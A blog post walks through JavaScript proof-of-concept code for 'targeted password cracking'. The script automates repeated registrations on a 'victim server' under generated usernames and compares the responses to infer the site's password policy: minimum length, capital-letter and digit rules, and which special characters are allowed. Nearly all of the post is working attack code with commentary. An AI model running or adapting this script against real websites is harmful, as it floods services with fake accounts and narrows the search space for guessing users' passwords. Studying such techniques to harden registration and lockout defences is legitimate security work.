Target password cracking - code explained
This is the explanation of the source code from my last posting about targeted password cracking - Proof of concept
---- Start Code -----
/******
Global variables defined in this module
- ajax_request - To store the XMLHttpRequest object.
autofill - This string will be used to send variations of password to detect the password policy and what other characters are allowed. - success_response - This string stores the response of the first successful password attempt.
- post_url - This string is to store the parameter string for the attacks.
- correct_password - This string stores the correct password used in the successful attempt.
- chars_to_check - This string contains the characters we are testing if they are allowed by the application. As you can see here it is a very limited string but we can add as many characters to it.
- username - Store the username of the successful registration. This username is further added with a number to create another unique username.
- counter - This is a number which gets added to the username to create another unique username. A better approach would be to create a Random number generator.
var ajax_request = false;
var autofill = "";
var success_response = "";
var post_url = "";
var correct_password = "";
var chars_to_check = "@<>/#$!()";
var username = "";
var counter = 46532;
/******
Function create_object()
This function creates a XMLHttpRequest object if it is firefox or ActiveXObject if IE6. Currently this module is tested in Firefox 2.0 and IE6. To learn more on XMLHttpRequest, please read the tutorials on Ajax.
******/
function create_object() {
if(window.ActiveXObject) {
var versions = ["Msxml2.XMLHTTP.7.0", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.5.0", "Msxml2.XMLHTTP.4.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP", "Microsoft.XMLHTTP"];
for (var i = 0; i < versions.length ; i++) {
try {
ajax_request = new ActiveXObject(versions[i]);
if (ajax_request) {
break;
}
}catch (objException) {
// trap; try next one
} ;
}
}
if (!ajax_request && typeof XMLHttpRequest != 'undefined') {
ajax_request = new XMLHttpRequest ();
}
}
/********
Function post_form(url, parameters)
url - The url where the form is submitted. This comes from the action attribute of the form.
parameters - This is the form parameters in a string format.
This function posts the form using XMLHttpRequest instead of the browser submitting it. This module assumes the first registration attempt is successful. Store the successful response page in success_response variable. This will be used to verify whether the subsequent attack response was successful. The server response is then updated in the DOM and the run_attack function called which checks for the password policy and the characters that are filtered.
******/
function post_form(url, parameters) {
post_url = url;
ajax_request.open("POST", url, false);
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
ajax_request.send(parameters);
if(ajax_request.readyState == 4 && ajax_request.status == 200) {
var response_text = ajax_request.responseText;
success_response = response_text;
document.body.innerHTML = response_text;
}
run_attack();
}
/********
Function submit_form(form_id)
form_id - The id of the form.
This function gathers all the form elements and initializes some global variables which are used in the subsequent automated registration attempts.
- Get the action attribute and store it in the form_action.
- Get all the form elements and store them in the string. If the form element type is password then store it in correct_password String.
- Create another form string to be used for fingerprinting the password policy. For the element types which are password replace them with ??.
NOTE: I am using ?? as a placeholder for passwords. You can use other characters too. - We will store the above form string in post_url where the future passwords can be applied by replacing ??.
- Store the correct password in the correct_password variable.
- Store the user name entered in the form in username variable. This will be required to replace with a new username everytime the password is successful.
- Call the post_form function to submit it to the server.
*******/
function submit_form(form_id)
{
var form = document.getElementById(form_id);
var form_action = form.action;
var params = "";
for(var i = 0; i < form.length; i++) {
params += form.elements[i].name + "=" + form.elements[i].value;
if(form.elements[i].type == 'password') {
autofill += form.elements[i].name + "=" + "??";
correct_password = form.elements[i].value;
}
else {
autofill += form.elements[i].name + "=" + form.elements[i].value;
if(form.elements[i].name == 'username')
username = form.elements[i].value;
}
if(i+1 < form.length) {
autofill += "&";
params += "&";
}
}
post_form(form_action, params);
}
/*******
Function create_attack_string(passwd)
passwd - The password which we want to test against the victim server.
- Create the new username by appending some numerics to it to make it unique. We are trying to avoid the duplicate usernames.
- Replace the ?? which we created as placeholders for password by the passwd passed in the parameter. replaceAll calls the prototype function of String object defined towards the end of this file.
- Return the newly created form parameter string to be submitted to the victim server.
*******/
function create_attack_string(passwd)
{
var newString = autofill.replace(username, getUserName());
newString = newString.replaceAll("??", passwd);
return post_attacker(newString);
}
/*******
Function post_attacker(parameters)
parameters - the form parameter string which will be submitted to register username / password on the victim server.
This function submits the attack parameters and checks if the response from the server is a success by matching to the success_response it stored from a successful response the first time. If the response from the server matches the success response we stored from our original successful registration attempt then return true else return false.
*******/
function post_attacker(parameters) {
ajax_request.open("POST", post_url, false);
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
ajax_request.send(parameters);
if(ajax_request.readyState == 4 && ajax_request.status == 200) {
var response_text = ajax_request.responseText;
if(response_text == success_response)
return 'true';
else
return 'false';
}
}
/*******
Function getUserName()
This is a temporary function considering we are just using username and password for the Proof of concept. If there are more then just username and password then we want to store all of them in an array or some better approach. This is just for the PoC. I am just adding some integer value to the username for this proof of concept. A better approach would be to create a random number or string generator.
********/
function getUserName()
{
return username + counter++;
}
/********
Function findMinChars()
This function checks for the minimum number of characters allowed in a password. It starts with the number of characters in the successful password and work backwards maintaining the starting position for capital letter and ending position. Assuming the first character of the successful password was a capital letter and the last character a digit, the following routine removes one character from the second position of the original successful password and keeps removing one character until the minimum password length required is met which is checked by the response from the server. If the response is same as it was when the registration was successful then this attempt was successful too.
********/
function findMinChars()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML = "Checking minimum password length.....";
for(var i = correct_password.length ; i >= 0; i--) {
var passwd = correct_password.substring(0,1) + correct_password.substring(correct_password.length - (i - 2), correct_password.length);
var success = create_attack_string(passwd);
if(success == 'true') {
attack_div.innerHTML += 'Minimum Password Length Allowed : ' + (i-1) + ' characters.';
}
}
}
/********
Function findCharsNotAllowed()
Check the characters from the chars_to_check by adding one illegal character at a time to the password used at the time of successful registration. If successful then that character is allowed and if failure then character is not allowed.
********/
function findCharsNotAllowed()
{
var attack_div = document.getElementById('attack_string');
for(var j = 0; j < chars_to_check.length; j++) {
var illegal_character = chars_to_check.charAt(j);
attack_div.innerHTML += 'Checking if character is allowed : ' + illegal_character + '...';
var newPassword = correct_password + illegal_character;
var newString = autofill.replaceAll("??", newPassword);
attack_div.innerHTML += 'Sending attack string : ' + newString + '....';
var success = post_attacker(newString);
attack_div.innerHTML += 'Character ' + illegal_character + ' allowed : ' + success;
}
}
/********
Function isDigitRequired
Check for all the digits in the password used for successful registration and replace them with an alphabet. In this proof of concept i am replacing it with 'a'. If the attempt to register is successful that means the digit is not compulsory. If failed then it is. If a digit is required then we can further check whether if it is required at the beginning of a password or towards the end.
********/
function isDigitRequired()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a digit is required.....';
var passwd = correct_password;
for(var i = 0; i < passwd.length ; i++)
{
if(passwd.charAt(i) > '0' && passwd.charAt(i) < '9')
passwd = passwd.substring(0,i) + 'a' + passwd.substring(i+1, passwd.length);
}
var success = create_attack_string(passwd);
if(success == 'true')
attack_div.innerHTML += 'Should contain digit : false';
else
attack_div.innerHTML += 'Should contain digit : true';
}
/********
Function isStartingWithCapitalLetter()
This method moves the starting character which is a capital letter to other positions in the password and checks whether the registration was successful. If successful that means the the password need not start with a capital letter.
********/
function isStartingWithCapitalLetter()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a password has to start with a capital letter......';
var passwd = correct_password.substring(0,1).toLowerCase() + correct_password.substring(1,correct_password.length);
var success = create_attack_string(passwd);
if(success == 'true')
attack_div.innerHTML += 'First letter to be a capital letter : false';
else
attack_div.innerHTML += 'First letter to be a capital letter : true';
}
/********
Function isEndingWithDigit()
This method adds an alphabet to the end of the password and checks if it registers with this password. If it does then the password does not have to end with a digit. If it fails then it should end with a digit. Similarly we can check if a digit is required at all in the password.
********/
function isEndingWithDigit()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a password has to end with a digit......
';
var passwd = correct_password + "a";
var success = create_attack_string(passwd);
if(success == 'true')
attack_div.innerHTML += 'Last letter has to be a digit : false
';
else
attack_div.innerHTML += 'Last letter has to be a digit : true
';
}
/********
Function run_attack()
This function is the starting point of the attack. This function is called after the successful registration in the beginning and then onwards tries different combinations to identify what characters are not allowed in a password.
********/
function run_attack()
{
//Find the minimum character required for the password.
findMinChars();
//Find if the password has to start with a capital letter.
isStartingWithCapitalLetter();
//Find if the digits are required
isDigitRequired();
//Find if it has to end with a digit.
isEndingWithDigit();
//Find if the characters as mentioned in the chars_to_check String are not allowed.
findCharsNotAllowed();
}
/********
String.prototype.replaceAll
This function replaces all instances of the given substring with the target string. This function was copied from Ask Ben website. Details of the function is provided on his website in case you want to understand. The url is mentioned below
http://www.bennadel.com/blog/142-Ask-Ben-Javascript-String-Replace-Method.htm
********/
String.prototype.replaceAll = function(
strTarget, // The substring you want to replace
strSubString // The string you want to replace in.
)
{
var strText = this;
var intIndexOfMatch = strText.indexOf( strTarget );
// Keep looping while an instance of the target string still exists in the string.
while (intIndexOfMatch != -1)
{
// Relace out the current instance.
strText = strText.replace( strTarget, strSubString )
// Get the index of any next matching substring.
intIndexOfMatch = strText.indexOf( strTarget );
}
// Return the updated string with ALL the target strings replaced out with the new substring.
return( strText );
}
There are many improvements that can be done to this program. This is just a proof of concept and I was too lazy to do too much. If you get a chance to improve upon this, please do let me know. I also have some ideas and maybe we can discuss about it.
Download the complete source code or view the working demo at Attack Labs